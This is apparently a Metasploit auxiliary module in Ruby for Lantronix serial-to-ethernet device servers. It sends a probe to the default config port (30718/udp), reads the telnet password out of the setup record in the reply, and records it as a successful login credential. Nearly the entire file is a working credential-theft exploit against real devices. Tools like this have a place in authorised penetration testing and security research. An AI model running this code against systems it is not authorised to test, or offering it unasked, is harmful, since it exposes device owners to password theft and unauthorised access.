117 lines
3.3 KiB
Ruby
117 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Udp
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Lantronix Telnet Password Recovery',
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'Description' => %q{
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This module retrieves the setup record from Lantronix serial-to-ethernet
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devices via the config port (30718/udp, enabled by default) and extracts the
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telnet password. It has been tested successfully on a Lantronix Device Server
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with software version V5.8.0.1.
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},
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'Author' => 'jgor',
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::CHOST,
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Opt::RPORT(30718),
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OptBool.new('CHECK_TCP', [false , 'Check TCP instead of UDP', false])
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], self.class)
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end
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def run_host(ip)
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setup_probe = "\x00\x00\x00\xF8"
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password = nil
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begin
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sock_opts = {
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'LocalHost' => datastore['CHOST'] || nil,
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'PeerHost' => ip,
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'PeerPort' => datastore['RPORT'],
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'Context' => {
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'Msf' => framework,
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'MsfExploit' => self
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}
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}
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if datastore['CHECK_TCP']
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vprint_good("Checking Lantronix TCP Socket #{datastore['RPORT']} on #{ip}")
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rem_sock = Rex::Socket::Tcp.create(sock_opts)
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else
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# Create an unbound UDP socket if no CHOST is specified, otherwise
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# create a UDP socket bound to CHOST (in order to avail of pivoting)
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vprint_good("Checking Lantronix UDP Socket #{datastore['RPORT']} on #{ip}")
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rem_sock = Rex::Socket::Udp.create(sock_opts)
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end
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rem_sock.put(setup_probe)
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res = rem_sock.recvfrom(65535, 0.5) and res[1]
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password = parse_reply(res)
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rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
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print_error("Connection error")
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rescue ::Interrupt
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raise $!
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rescue ::Exception => e
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print_error("Unknown error: #{e.class} #{e}")
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ensure
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rem_sock.close if rem_sock
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end
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if password
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if password == "\x00\x00\x00\x00"
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print_status("#{rhost} - Password isn't used, or secure")
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else
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print_good("#{rhost} - Telnet password found: #{password.to_s}")
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service_data = {
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address: ip,
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port: 9999,
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service_name: 'telnet',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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module_fullname: self.fullname,
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origin_type: :service,
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private_data: password.to_s,
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private_type: :password
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}.merge(service_data)
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credential_core = create_credential(credential_data)
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login_data = {
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core: credential_core,
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last_attempted_at: DateTime.now,
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status: Metasploit::Model::Login::Status::SUCCESSFUL
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}.merge(service_data)
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create_credential_login(login_data)
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end
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end
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end
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def parse_reply(pkt)
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setup_record = pkt[0]
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# If response is a setup record, extract password bytes 13-16
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if setup_record[3] and setup_record[3].ord == 0xF9
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return setup_record[12,4]
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else
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return nil
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end
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end
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end
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